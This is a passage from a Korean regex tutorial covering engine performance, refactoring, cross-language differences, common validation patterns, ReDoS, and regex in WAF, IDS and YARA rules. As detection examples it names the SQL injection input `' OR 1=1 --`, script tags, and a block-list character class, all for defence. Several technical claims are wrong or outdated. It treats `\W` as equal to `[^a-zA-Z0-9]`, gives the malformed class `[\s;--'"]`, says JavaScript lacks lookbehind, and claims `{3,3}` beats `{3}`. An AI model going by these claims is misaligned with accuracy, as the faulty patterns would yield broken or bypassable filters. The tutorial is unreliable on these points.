<p>특징: DFA는 단일 경로만 추적하며, 상태 전환이 고정적이므로 매우 빠르다. DFA는 매칭할 때 한 번에 유일한 경로를 선택하고, 백트래킹이 필요 없기 때문에 성능 면에서 유리하다.</p>
<p>성능 장점: 정규식이 단순하고, 미리 컴파일된 상태에서 매우 빠른 속도를 보인다.</p>
<p>예시: <code>a.*b.*c</code>와 같은 패턴은 DFA에서 효율적으로 처리된다.</p>
<h4 id="결론">결론</h4>
<p>정규식을 작성할 때 성능 문제를 고려해야 할 필요가 있으며, 특히 긴 문자열이나 복잡한 정규식에서 NFA가 성능 저하를 일으킬 수 있다는 점을 유념해야 한다. DFA 방식은 빠르지만, 일부 복잡한 정규식에서는 상태 전환 테이블 크기가 커져 메모리 사용량이 증가할 수 있다.</p>
<h3 id="72-복잡한-정규식의-리팩토링">7.2 복잡한 정규식의 리팩토링</h3>
<p>복잡한 정규식은 가독성뿐만 아니라 성능에도 영향을 미친다. 따라서 정규식을 효율적으로 리팩토링하는 것이 중요하다.</p>
<h4 id="중복되는-패턴-제거">중복되는 패턴 제거</h4>
<p>복잡한 정규식에서 동일한 문자열 패턴이 반복될 경우, 이를 별도의 그룹으로 묶어서 중복을 최소화할 수 있다. 예를 들어, <code>(\d{3}-\d{3}-\d{4})|(\d{4}-\d{3}-\d{4})</code>와 같은 패턴은 <code>(\d{3,4}-\d{3,4}-\d{4})</code>로 리팩토링할 수 있다.</p>
<p>중복을 없애면 정규식이 간결해지고, 처리 시간이 줄어든다.</p>
<h4 id="기법-적용-예시">기법 적용 예시</h4>
<p>단일 문자와 문자 집합 최적화: <code>[^a-zA-Z0-9]</code>와 같은 문자 집합을 사용하는 대신, 단순한 <code>\W</code>(모든 비단어 문자)로 교체하는 것이 성능을 개선할 수 있다.</p>
<p>반복자 사용 최소화: <code>*</code> 또는 <code>+</code>와 같은 반복자는 성능 저하를 초래할 수 있다. 이러한 기호는 조건을 추가하거나, 더 구체적인 패턴으로 바꿔 성능을 개선할 수 있다.</p>
<h4 id="클러스터링-기법">클러스터링 기법</h4>
<p>정규식을 클러스터링하여 패턴의 부분을 재사용할 수 있다. 예를 들어, <code>(\d{2}){3}</code> 대신 <code>(\d{2}){3,3}</code>처럼 고정된 반복 범위를 지정하면 더 효율적으로 동작할 수 있다.</p>
<h3 id="73-코드-내-정규식의-가독성-향상-방법">7.3 코드 내 정규식의 가독성 향상 방법</h3>
<p>정규식의 가독성을 높이는 것은 유지보수와 협업에 중요한 요소이다. 이를 위해서는 코드 내에서 정규식 자체를 명확하고 이해하기 쉽게 작성해야 한다.</p>
<h4 id="주석-활용">주석 활용</h4>
<p>코드 내에서 정규식을 사용할 때는 정규식의 목적이나 동작을 주석으로 설명하는 것이 중요하다.</p>
<p>예를 들어, <code>^(?:\d{3}-\d{2}-\d{4})$</code>와 같은 복잡한 정규식에 대해서는 &quot;SSN 번호 형식&quot;과 같은 설명을 덧붙이면 추후 코드 작성자나 리뷰어가 쉽게 이해할 수 있다.</p>
<h4 id="정규식-변수화">정규식 변수화</h4>
<p>정규식을 변수로 선언하여 의미를 부여할 수 있다. 예를 들어, 전화번호를 매칭하는 정규식을 <code>phonePattern = r&quot;\d{3}-\d{3}-\d{4}&quot;</code>로 정의하고, 이를 코드 내에서 사용하면 읽기가 쉬워진다.</p>
<p>형식에 따라 변수화: 여러 형식을 처리할 때 동일한 패턴을 변수로 선언해두고 필요할 때 호출하는 방식도 유용하다.</p>
<h4 id="정규식의-모듈화">정규식의 모듈화</h4>
<p>정규식을 함수로 묶어 복잡한 처리 로직을 분리할 수 있다. 예를 들어, 이메일을 검사하는 정규식을 함수로 정의하여 재사용하면 코드가 깔끔해진다.</p>
<h3 id="74-공격자-우회-패턴-분석과-방어용-정규식">7.4 공격자 우회 패턴 분석과 방어용 정규식</h3>
<p>공격자는 종종 보안 시스템을 우회하기 위해 정규식을 우회하는 특수한 문자열을 사용한다. 이를 방어하는 정규식을 설계하는 것이 중요하다.</p>
<h4 id="url-및-xss-필터링">URL 및 XSS 필터링</h4>
<p>XSS 공격을 방어하기 위해 정규식을 사용할 때는 <code>&lt;/script&gt;</code>, <code>&lt;script&gt;</code>와 같은 문자열을 차단해야 한다. 그러나 공격자는 <code>&lt;ScRiPt&gt;</code>와 같은 방식으로 대소문자를 섞을 수 있기 때문에 이를 고려한 정규식이 필요하다.</p>
<p>따라서 <code>(?i)&lt;script&gt;</code>와 같이 대소문자를 무시하는 옵션을 사용해야 한다.</p>
<h4 id="sql-injection-탐지">SQL Injection 탐지</h4>
<p>SQL Injection 공격에서 공격자는 <code>&#39;</code> 또는 <code>--</code>와 같은 특수 문자를 사용하여 쿼리를 변경하려 한다. 이를 방어하는 정규식에서는 입력값에서 이러한 특수 문자를 차단하는 패턴을 사용해야 한다.</p>
<p>예를 들어, <code>[\s;--&#39;&quot;]</code>와 같은 패턴을 사용하여 공백, 세미콜론, 작은따옴표 등을 차단하는 방식이다.</p>
<h4 id="우회-패턴-예시">우회 패턴 예시</h4>
<p>공격자는 공백을 URL 인코딩하거나 여러 개의 <code>&lt;</code> 문자를 연속해서 사용하여 패턴을 우회하려고 할 수 있다. 이를 방어하려면 정규식에서 문자열 길이나 패턴의 반복을 제한하는 등의 방어 기법을 적용해야 한다.</p>
<hr>
<h2 id="8-다양한-플랫폼-및-언어에서의-차이점">8. 다양한 플랫폼 및 언어에서의 차이점</h2>
<h3 id="81-pcre-javascript-python-posix-비교">8.1 PCRE, JavaScript, Python, POSIX 비교</h3>
<p>정규식 엔진은 사용하는 플랫폼과 언어에 따라 특성이 다르다. 특히, <strong>PCRE(Perl Compatible Regular Expressions)</strong>, <strong>JavaScript</strong>, <strong>Python</strong>, <strong>POSIX</strong>는 정규식을 처리하는 방식에서 주요한 차이점들이 존재한다.</p>
<h4 id="1-pcre-perl-compatible-regular-expressions">1) PCRE (Perl Compatible Regular Expressions)</h4>
<p>PCRE는 Perl 언어에서 사용된 정규식 규칙을 따르며, 여러 프로그래밍 언어와 툴에서 널리 사용된다. 주로 다음과 같은 특징이 있다:</p>
<ul>
<li><strong>유연성</strong>: PCRE는 Perl의 정규식 문법과 매우 유사하여, 복잡한 정규식을 작성하는 데 유리하다.</li>
<li><strong>확장성</strong>: Lookahead, Lookbehind, 조건부 표현식 등의 고급 기능을 제공한다.</li>
<li><strong>모드</strong>: 기본적으로 단일 라인 모드를 사용하며, 멀티라인, 대소문자 무시 등의 다양한 모드를 제공한다.</li>
</ul>
<h4 id="2-javascript">2) JavaScript</h4>
<p>JavaScript에서의 정규식은 ECMAScript 규격에 기반을 두고 있으며, 주요 특징은 다음과 같다:</p>
<ul>
<li><strong>제한된 기능</strong>: JavaScript의 정규식은 PCRE와 비교하여 일부 고급 기능(예: Lookbehind, 조건부 표현식)을 지원하지 않는다.</li>
<li><strong>플랫폼 호환성</strong>: 웹 브라우저에서 바로 실행될 수 있어 매우 유용하다. 하지만 특정 기능은 일부 구형 브라우저에서 지원되지 않을 수 있다.</li>
<li><strong>정규식 객체</strong>: <code>RegExp</code> 객체를 사용하여 정규식을 처리하며, <code>exec()</code>와 <code>test()</code> 메서드가 주로 사용된다.</li>
</ul>
<h4 id="3-python">3) Python</h4>
<p>Python의 정규식은 <code>re</code> 모듈을 통해 제공되며, 고급 정규식 기능을 지원한다. 주요 특징은 다음과 같다:</p>
<ul>
<li><strong>다양한 기능</strong>: Python은 Lookahead, Lookbehind, 조건부 표현식 등 복잡한 정규식 기능을 지원한다.</li>
<li><strong>유연한 처리</strong>: <code>re.compile()</code>을 사용해 정규식을 미리 컴파일할 수 있으며, 패턴 객체를 재사용할 수 있어 성능 향상에 유리하다.</li>
<li><strong>디버깅 도구</strong>: <code>re.DEBUG</code>와 같은 디버깅 옵션을 통해 정규식의 작동 과정을 추적할 수 있다.</li>
</ul>
<h4 id="4-posix">4) POSIX</h4>
<p>POSIX는 유닉스 계열 시스템에서 사용하는 정규식 표준이다. 특징은 다음과 같다:</p>
<ul>
<li><strong>기본적인 문법</strong>: POSIX 정규식은 PCRE와 비교하여 상대적으로 간단하고 제한적이다. 고급 기능은 제한적이며, 주로 기본적인 패턴 매칭에 사용된다.</li>
<li><strong>형식</strong>: POSIX는 <code>Basic Regular Expression (BRE)</code>과 <code>Extended Regular Expression (ERE)</code> 두 가지 모드로 나누어진다.</li>
<li><strong>호환성</strong>: POSIX 표준은 유닉스 시스템의 다양한 툴과 호환되며, 여러 시스템에서 일관된 동작을 보장한다.</li>
</ul>
<h4 id="비교-표">비교 표</h4>
<table>
<thead>
<tr>
<th>특징</th>
<th>PCRE</th>
<th>JavaScript</th>
<th>Python</th>
<th>POSIX</th>
</tr>
</thead>
<tbody><tr>
<td><strong>기능</strong></td>
<td>고급 기능 지원 (Lookahead, Lookbehind 등)</td>
<td>제한적인 기능 (조건부, Lookbehind 미지원)</td>
<td>고급 기능 지원 (Lookahead, Lookbehind 등)</td>
<td>기본적인 기능만 지원</td>
</tr>
<tr>
<td><strong>문법</strong></td>
<td>Perl 스타일</td>
<td>ECMAScript 스타일</td>
<td>Python 스타일</td>
<td>POSIX 스타일</td>
</tr>
<tr>
<td><strong>사용처</strong></td>
<td>Perl, PHP, 다양한 툴</td>
<td>웹 브라우저, Node.js</td>
<td>Python</td>
<td>Unix/Linux 시스템</td>
</tr>
<tr>
<td><strong>호환성</strong></td>
<td>고급 기능을 지원하는 다양한 플랫폼</td>
<td>일부 브라우저에서 제한적 지원</td>
<td>Python 환경 내에서 안정적 지원</td>
<td>Unix 시스템에서 널리 사용됨</td>
</tr>
</tbody></table>
<h3 id="82-언어별-기능-차이와-호환성-문제">8.2 언어별 기능 차이와 호환성 문제</h3>
<p>정규식을 다루는 언어마다 제공하는 기능이 다르며, 이로 인해 발생하는 호환성 문제도 존재한다. 이러한 문제를 해결하기 위해서는 각 언어가 제공하는 정규식 엔진의 차이를 이해하고, 그것에 맞게 정규식을 작성해야 한다.</p>
<h4 id="1-언어별-기능-차이">1) 언어별 기능 차이</h4>
<ul>
<li><p><strong>Lookbehind</strong>: JavaScript는 Lookbehind를 지원하지 않지만, Python과 PCRE에서는 Lookbehind를 사용할 수 있다. 이는 일부 복잡한 패턴을 다룰 때 큰 차이를 만든다.</p>
</li>
<li><p>예시:</p>
<ul>
<li><strong>Python</strong>: <code>(?&lt;=\d{3})abc</code> (3자리 숫자 뒤에 오는 &quot;abc&quot;를 매칭)</li>
<li><strong>JavaScript</strong>: 지원하지 않음</li>
</ul>
</li>
<li><p><strong>조건부 표현식</strong>: POSIX와 JavaScript에서는 조건부 표현식을 사용할 수 없다. 이에 비해 Python과 PCRE는 조건부 표현식을 지원하여, 패턴 내에서 더 복잡한 논리적 분기를 구현할 수 있다.</p>
</li>
</ul>
<h4 id="2-호환성-문제">2) 호환성 문제</h4>
<ul>
<li><p><strong>호환성 이슈</strong>: 동일한 정규식이 서로 다른 엔진에서 다르게 동작할 수 있다. 예를 들어, Python에서 동작하는 정규식이 POSIX 환경에서는 동작하지 않을 수 있다. 이 경우, 정규식을 다시 작성하거나 특정 엔진에 맞는 형태로 변환해야 한다.</p>
</li>
<li><p><strong>고급 기능의 제한</strong>: 일부 고급 기능(예: 조건부 표현식, Lookbehind 등)은 모든 언어에서 지원되지 않기 때문에, 크로스 플랫폼에서의 호환성 문제가 발생할 수 있다. 이를 해결하기 위해서는 각 언어에 맞는 대체 패턴을 찾아야 한다.</p>
</li>
</ul>
<h3 id="83-플랫폼별-정규식-엔진의-한계와-특성">8.3 플랫폼별 정규식 엔진의 한계와 특성</h3>
<p>각 플랫폼에서 제공하는 정규식 엔진은 고유한 특성을 가지며, 이에 따라 성능이나 기능에 차이가 있을 수 있다. 이는 정규식을 작성할 때 중요한 요소가 된다.</p>
<h4 id="1-pcre-엔진의-특성">1) PCRE 엔진의 특성</h4>
<ul>
<li><strong>장점</strong>: 강력한 기능을 제공하며, 다양한 문법을 지원한다. 특히 Perl 스타일의 문법을 따르므로, 복잡한 패턴을 쉽게 작성할 수 있다.</li>
<li><strong>단점</strong>: 성능이 중요할 때는 과도한 백트래킹이나 복잡한 패턴으로 인해 성능 문제가 발생할 수 있다.</li>
</ul>
<h4 id="2-javascript-엔진의-특성">2) JavaScript 엔진의 특성</h4>
<ul>
<li><strong>장점</strong>: 웹에서 바로 사용할 수 있기 때문에 웹 개발에 적합하다. 간단한 정규식 처리에서 빠른 성능을 보인다.</li>
<li><strong>단점</strong>: 고급 기능(예: Lookbehind)을 지원하지 않기 때문에, 일부 복잡한 정규식을 다루는 데 어려움이 있을 수 있다.</li>
</ul>
<h4 id="3-python-엔진의-특성">3) Python 엔진의 특성</h4>
<ul>
<li><strong>장점</strong>: 강력한 정규식 기능을 제공하며, 복잡한 패턴 처리에서 매우 유용하다. <code>re.DEBUG</code>와 같은 디버깅 기능을 통해 코드 최적화가 용이하다.</li>
<li><strong>단점</strong>: 정규식이 복잡해질수록 성능 저하가 발생할 수 있으며, 적절한 최적화가 필요하다.</li>
</ul>
<h4 id="4-posix-엔진의-특성">4) POSIX 엔진의 특성</h4>
<ul>
<li><strong>장점</strong>: Unix 계열 시스템에서 안정적이고, 널리 사용된다. 간단한 패턴 매칭에 최적화되어 있다.</li>
<li><strong>단점</strong>: 고급 정규식 기능이 부족하여, 복잡한 패턴을 처리하는 데 한계가 있다. 특히 조건부 표현식이나 Lookbehind는 지원되지 않는다.</li>
</ul>
<hr>
<h2 id="9-자주-쓰이는-정규표현식-패턴-모음">9. 자주 쓰이는 정규표현식 패턴 모음</h2>
<h3 id="91-이메일-도메인-url-ip-정규식">9.1 이메일, 도메인, URL, IP 정규식</h3>
<p>정규식은 이메일 주소, URL, IP 주소와 같은 텍스트를 추출하거나 유효성을 검사하는 데 널리 사용된다.</p>
<h4 id="1-이메일-정규식">1) 이메일 정규식</h4>
<p>이메일 주소는 사용자 이름과 도메인 이름으로 구성된다. 이 패턴은 사용자 이름과 도메인 이름의 구문을 검증하기 위해 사용된다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>^[a-zA-Z0-9._%+-]+</code>: 이메일의 사용자 이름을 검증 (영문, 숫자, 특수기호 허용)</li>
<li><code>@[a-zA-Z0-9.-]+</code>: <code>@</code> 기호 이후 도메인 이름</li>
<li><code>\.[a-zA-Z]{2,}$</code>: 도메인의 최상위 도메인(TLD) 부분</li>
</ul>
</li>
</ul>
<h4 id="2-도메인-정규식">2) 도메인 정규식</h4>
<p>도메인 이름을 검증할 때 유용한 정규식이다. 도메인 이름은 알파벳과 숫자, 하이픈으로 구성되며, 끝은 최상위 도메인(TLD)이어야 한다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^[a-zA-Z0-9-]+\.[a-zA-Z]{2,}$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>^[a-zA-Z0-9-]+</code>: 도메인 이름의 첫 부분 (알파벳, 숫자, 하이픈 허용)</li>
<li><code>\.[a-zA-Z]{2,}$</code>: 마침표 이후의 최상위 도메인 (2자 이상)</li>
</ul>
</li>
</ul>
<h4 id="3-url-정규식">3) URL 정규식</h4>
<p>URL의 유효성을 검사하는 정규식이다. HTTP, HTTPS, FTP 등의 다양한 프로토콜을 포함하여 URL을 검사할 수 있다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^(https?|ftp):\/\/[^\s/$.?#].[^\s]*$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>^(https?|ftp)</code>: HTTP 또는 FTP 프로토콜</li>
<li><code>:\/\/</code>: <code>://</code> 구분 기호</li>
<li><code>[^\s/$.?#].[^\s]*$</code>: URL 경로 및 쿼리 문자열 부분 (공백, <code>/</code>, <code>?</code>, <code>#</code> 등의 특수 문자 제외)</li>
</ul>
</li>
</ul>
<h4 id="4-ip-주소-정규식">4) IP 주소 정규식</h4>
<p>IPv4 주소를 검증하기 위한 정규식이다. IPv4는 네 개의 0~255 범위의 숫자로 이루어진다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)$</code></pre>
<p><strong>설명</strong>:</p>
<ul>
<li><code>25[0-5]</code>: 250~255 범위의 숫자</li>
<li><code>2[0-4][0-9]</code>: 200~249 범위의 숫자</li>
<li><code>[01]?[0-9][0-9]?</code>: 0~199 범위의 숫자</li>
</ul>
<p>이 정규식은 IPv4 주소 형식을 정확하게 검증할 수 있다.</p>
<h3 id="92-파일-경로-버전-문자열-해시-패턴">9.2 파일 경로, 버전 문자열, 해시 패턴</h3>
<p>정규식은 파일 경로, 버전 문자열, 해시 값 등 다양한 시스템 정보를 검증하는 데 유용하게 사용된다.</p>
<h4 id="1-파일-경로-정규식">1) 파일 경로 정규식</h4>
<p>파일 경로는 운영 체제에 따라 다를 수 있다. 윈도우와 유닉스 계열 시스템에서 파일 경로 형식이 다르기 때문에 이를 고려한 정규식이 필요하다.</p>
<ul>
<li><strong>정규식 예시 (유닉스/리눅스)</strong>:</li>
</ul>
<pre><code class="language-regex">^(/[^/ ]*)+/?$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>/[^/ ]*</code>: 각 디렉토리 이름이 공백이나 <code>/</code>가 아닌 문자열로 구성</li>
<li><code>/?$</code>: 마지막에는 슬래시(<code>/</code>)가 올 수 있고, 끝날 수 있음</li>
</ul>
</li>
</ul>
<h4 id="2-버전-문자열-정규식">2) 버전 문자열 정규식</h4>
<p>버전 문자열은 보통 &quot;주버전.부버전.수정버전&quot; 형식이다. 예를 들어, <code>1.0.0</code>, <code>2.1.0</code> 등이 있다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^\d+\.\d+\.\d+$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>\d+</code>: 숫자 1개 이상</li>
<li><code>\.</code>: 점 (버전 구분자)</li>
<li>이 정규식은 <code>1.0.0</code>과 같은 간단한 버전 번호 형식을 검증할 수 있다.</li>
</ul>
</li>
</ul>
<h4 id="3-해시-패턴-정규식">3) 해시 패턴 정규식</h4>
<p>MD5, SHA-1, SHA-256과 같은 해시 값은 고정된 길이의 16진수 문자열이다. 각 해시 알고리즘에 대한 패턴을 정의할 수 있다.</p>
<ul>
<li><strong>정규식 예시 (MD5)</strong>:</li>
</ul>
<pre><code class="language-regex">^[a-f0-9]{32}$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>[a-f0-9]{32}</code>: 16진수 값이 32자리</li>
<li>이는 MD5 해시 값의 표준 형식을 검증하는 정규식이다.</li>
</ul>
</li>
</ul>
<h3 id="93-주민등록번호-전화번호-등-개인정보-탐지">9.3 주민등록번호, 전화번호 등 개인정보 탐지</h3>
<p>정규식을 활용하여 개인정보를 추출하거나 검증할 수 있다. 예를 들어, 주민등록번호나 전화번호는 국가별로 형식이 다르지만, 기본적인 구조는 고정적이다.</p>
<h4 id="1-주민등록번호-정규식">1) 주민등록번호 정규식</h4>
<p>한국의 주민등록번호는 <code>6자리 숫자-7자리 숫자</code> 형식</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^\d{6}-\d{7}$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>\d{6}</code>: 6자리 숫자 (생년월일)</li>
<li><code>-\d{7}</code>: 하이픈 뒤 7자리 숫자</li>
</ul>
</li>
</ul>
<h4 id="2-전화번호-정규식">2) 전화번호 정규식</h4>
<p>전화번호는 국가별로 형식이 다르지만, 일반적인 형태로 검증할 수 있다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^\d{2,3}-\d{3,4}-\d{4}$</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>\d{2,3}</code>: 2자리 또는 3자리 숫자 (지역 번호)</li>
<li><code>-\d{3,4}-\d{4}</code>: 하이픈 구분을 포함한 7자리 또는 8자리 숫자</li>
</ul>
</li>
</ul>
<h3 id="94-로그-분석용-커스텀-정규식-예제">9.4 로그 분석용 커스텀 정규식 예제</h3>
<p>로그 파일에서 특정 패턴을 추출하거나 필터링할 때 자주 사용되는 정규식 예제를 소개한다.</p>
<h4 id="1-ip-주소-로그-필터링">1) IP 주소 로그 필터링</h4>
<p>서버 로그에서 IP 주소를 추출할 때 유용하다. 일반적으로 각 로그 항목에는 요청을 보낸 클라이언트의 IP 주소가 포함된다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">^(\d{1,3}\.){3}\d{1,3}</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>(\d{1,3}\.)</code>: 1~3자리 숫자와 마침표</li>
<li><code>{3}</code>: 3번 반복 (IPv4 주소의 각 부분)</li>
<li><code>\d{1,3}</code>: 마지막 1~3자리 숫자</li>
<li>이 정규식은 로그에서 IP 주소를 추출하는 데 유용하다.</li>
</ul>
</li>
</ul>
<h4 id="2-로그에서-시간-추출">2) 로그에서 시간 추출</h4>
<p>서버 로그에는 보통 요청이 발생한 시간이 포함된다. 로그에서 시간을 추출하기 위한 정규식이다.</p>
<ul>
<li><strong>정규식 예시</strong>:</li>
</ul>
<pre><code class="language-regex">\[(\d{2}/[A-Za-z]+/\d{4}:\d{2}:\d{2}:\d{2} \+\d{4})\]</code></pre>
<ul>
<li><strong>설명</strong>:<ul>
<li><code>\[(\d{2}/[A-Za-z]+/\d{4}:\d{2}:\d{2}:\d{2} \+\d{4})\]</code>: 대괄호 안에 있는 날짜와 시간</li>
<li>이 정규식은 로그에서 시간 정보를 추출하는 데 사용된다.</li>
</ul>
</li>
</ul>
<hr>
<h2 id="10-보안-관점에서의-정규표현식">10. 보안 관점에서의 정규표현식</h2>
<p>정규표현식은 보안 분야에서 중요한 역할을 하며, 로그 분석, 입력 검증, 악성 코드 탐지 등의 작업에 널리 사용된다. 그러나 정규표현식이 제대로 사용되지 않으면 보안상 취약점이 발생할 수 있으며, 특히 ReDoS 공격과 같은 위험을 초래할 수 있다.</p>
<h3 id="101-redos-regular-expression-denial-of-service-공격">10.1 ReDoS (Regular Expression Denial of Service) 공격</h3>
<p>ReDoS 공격은 <strong>정규표현식 서비스 거부 공격</strong>으로, 정규표현식의 비효율적인 설계로 인해 시스템 성능을 저하시켜 서비스 거부 상태를 초래하는 공격이다. 이는 주로 정규표현식이 <strong>catastrophic backtracking</strong> 문제에 취약할 때 발생한다. 악의적인 사용자는 고의로 입력값을 조작하여 정규표현식 엔진이 지나치게 많은 시간을 소모하도록 할 수 있다.</p>
<h4 id="redos-공격이-발생하는-원리">ReDoS 공격이 발생하는 원리</h4>
<p>정규표현식 엔진은 텍스트와 패턴을 매칭할 때 각 경우의 수를 탐색한다. 복잡한 정규표현식이나 비효율적인 반복문을 사용하면, 특히 반복 연산자(<code>*</code>, <code>+</code>, <code>?</code>, <code>{m,n}</code> 등)와 분리된 패턴들이 서로 맞물릴 때 계산 시간이 급격히 증가할 수 있다. 이러한 현상은 <strong>백트래킹(backtracking)</strong> 이라고 하며, 비효율적인 정규표현식은 수천, 수백만 번의 백트래킹을 유발할 수 있다.</p>
<h4 id="redos-공격-예시">ReDoS 공격 예시</h4>
<ul>
<li><strong>정규표현식</strong>:</li>
</ul>
<pre><code class="language-regex">^(a|aa)+$</code></pre>
<ul>
<li><p><strong>입력값</strong>: <code>&quot;aaaaaaaaaaaaa...&quot;</code> (길이가 매우 긴 문자열)</p>
</li>
<li><p>이 정규표현식은 <code>a</code> 또는 <code>aa</code>의 반복을 허용한다. 긴 입력값이 주어졌을 때, 정규표현식 엔진은 가능한 모든 방법으로 입력값을 분할하여 매칭을 시도한다. 이로 인해 <strong>catastrophic backtracking</strong>이 발생하며, 시스템 자원을 과도하게 소모하게 된다.</p>
</li>
</ul>
<h4 id="redos-공격을-방지하는-방법">ReDoS 공격을 방지하는 방법</h4>
<ol>
<li><strong>정규표현식 최적화</strong>: 반복문(<code>*</code>, <code>+</code>, <code>?</code>)을 최소화하고, 가능하면 명확하게 범위를 지정하는 것이 좋다.</li>
<li><strong>타임아웃 설정</strong>: 정규표현식 엔진에 처리 시간 제한을 설정하여, 백트래킹이 지나치게 많이 발생하면 강제로 실행을 중단하도록 할 수 있다.</li>
<li><strong>정규표현식 검사 도구 사용</strong>: <code>regex101</code> 같은 도구에서 성능을 테스트하고, 백트래킹이 발생할 가능성이 높은 패턴을 점검할 수 있다.</li>
</ol>
<h3 id="102-입력값-검증-vs-허용-목록-접근-방식">10.2 입력값 검증 vs 허용 목록 접근 방식</h3>
<p>입력값 검증은 보안에서 중요한 부분이며, 악의적인 사용자로부터 시스템을 보호하기 위해 필수적이다. 정규표현식을 활용한 입력값 검증은 두 가지 주요 접근 방식으로 나눠볼 수 있다.</p>
<h4 id="1-입력값-검증-input-validation">1) 입력값 검증 (Input Validation)</h4>
<p>입력값 검증은 <strong>모든 입력을 검증</strong>하여 허용되지 않는 데이터를 필터링하는 방식이다. 정규표현식을 사용하여 예상되는 형식만을 허용하고, 그 외의 데이터를 거부할 수 있다. 예를 들어, 이메일 주소, 전화번호, 주민등록번호 등의 입력 형식을 검증할 때 사용된다.</p>
<ul>
<li><p><strong>장점</strong>:</p>
<ul>
<li>사용자가 제공하는 데이터를 정확하게 통제할 수 있다.</li>
<li>유효하지 않은 입력을 조기에 차단하여 시스템의 무결성을 보호할 수 있다.</li>
</ul>
</li>
<li><p><strong>단점</strong>:</p>
<ul>
<li>너무 제한적인 규칙을 설정하면 유효한 입력까지 거부할 수 있다.</li>
<li>모든 경우를 처리하는 것이 어려울 수 있다. (예: 다국적 전화번호 형식)</li>
</ul>
</li>
</ul>
<h4 id="2-허용-목록-접근-방식-whitelisting">2) 허용 목록 접근 방식 (Whitelisting)</h4>
<p>허용 목록 접근 방식은 특정 조건을 만족하는 <strong>정확히 정의된 입력만 허용</strong>하는 방식이다. 이는 입력값 검증과는 반대로, <strong>허용된 항목만을 명시적으로 정의</strong>하는 것이다.</p>
<ul>
<li><p><strong>장점</strong>:</p>
<ul>
<li>보안적으로 강력하다. 예상치 못한 형식의 데이터는 차단된다.</li>
<li>악성 코드나 예상하지 못한 입력값이 시스템에 들어올 가능성이 줄어든다.</li>
</ul>
</li>
<li><p><strong>단점</strong>:</p>
<ul>
<li>예상치 못한 입력이나 다양한 형식을 모두 다룰 수 없어 사용자가 불편할 수 있다.</li>
</ul>
</li>
</ul>
<h4 id="적절한-접근-방식-선택">적절한 접근 방식 선택</h4>
<p>보안적으로 가장 강력한 방법은 <strong>허용 목록 접근 방식</strong>을 사용하는 것이다. 하지만 현실적으로 입력값 검증을 통해 허용되는 형식을 명확히 정의하는 것이 더 직관적이고 구현이 쉬운 경우가 많다. 두 접근 방식은 보안 요구 사항에 맞춰 적절히 결합하여 사용하는 것이 좋다.</p>
<h3 id="103-보안-룰-작성-시-정규표현식의-역할">10.3 보안 룰 작성 시 정규표현식의 역할</h3>
<p>보안 룰 작성 시 정규표현식은 시스템의 무결성, 데이터 유효성, 악성 코드 탐지 등을 위해 매우 중요하다. 보안 시스템에서는 정규표현식을 사용하여 <strong>악성 패턴</strong>을 감지하고, 공격을 차단하는 데 활용한다.</p>
<h4 id="1-웹-애플리케이션-방화벽-waf">1) 웹 애플리케이션 방화벽 (WAF)</h4>
<p>WAF는 웹 애플리케이션에서 발생할 수 있는 다양한 공격 (SQL Injection, XSS 등)을 방어하는 역할을 한다. 이때, 정규표현식을 사용하여 악성 요청 패턴을 탐지하고, 차단할 수 있다.</p>
<ul>
<li>예: <code>(&lt;script&gt;)</code>, <code>&#39; OR 1=1 --</code>와 같은 SQL 인젝션 또는 XSS 공격 패턴을 정규표현식으로 검출</li>
</ul>
<h4 id="2-로그-모니터링-및-침입-탐지-시스템-ids">2) 로그 모니터링 및 침입 탐지 시스템 (IDS)</h4>
<p>정규표현식은 <strong>로그 분석</strong> 및 <strong>침입 탐지 시스템(IDS)</strong> 에서도 핵심적인 역할을 한다. 특정 패턴이나 키워드를 탐지하여 공격 징후를 추적하고, 알림을 발생시킨다.</p>
<ul>
<li>예: 시스템 로그에서 <code>failed login attempt</code>와 같은 패턴을 탐지하거나, 악성 스크립트가 포함된 요청을 차단</li>
</ul>
<h4 id="3-악성-코드-탐지">3) 악성 코드 탐지</h4>
<p>정규표현식은 <strong>악성 코드 탐지</strong>에도 사용된다. 예를 들어, <strong>YARA</strong>나 <strong>Suricata</strong>와 같은 도구에서는 정규표현식을 사용하여 특정 <strong>파일 서명</strong>이나 <strong>패턴</strong>을 탐지한다.</p>
<p>정규표현식은 특정 바이러스나 악성 파일의 서명을 추적하는 데 유용하다. 악성 코드의 특정 문자열이나 특정 동작을 정의할 수 있다.</p>
<h3 id="104-yara-suricata-sigma에서의-정규식-적용">10.4 YARA, Suricata, Sigma에서의 정규식 적용</h3>
<p>정규표현식은 다양한 보안 도구에서 악성 코드 탐지 및 침입 탐지의 중요한 도구로 활용된다. 여기에서는 <strong>YARA</strong>, <strong>Suricata</strong>, <strong>Sigma</strong>와 같은 보안 툴에서 정규표현식을 어떻게 적용하는지 살펴본다.</p>
<h4 id="1-yara">1) YARA</h4>
<p>YARA는 파일이나 프로세스에서 특정 악성 코드 서명이나 패턴을 검출하는 데 사용된다. YARA 룰에서 정규표현식을 사용하여 바이러스나 악성 코드의 특성을 정의할 수 있다.</p>
<ul>
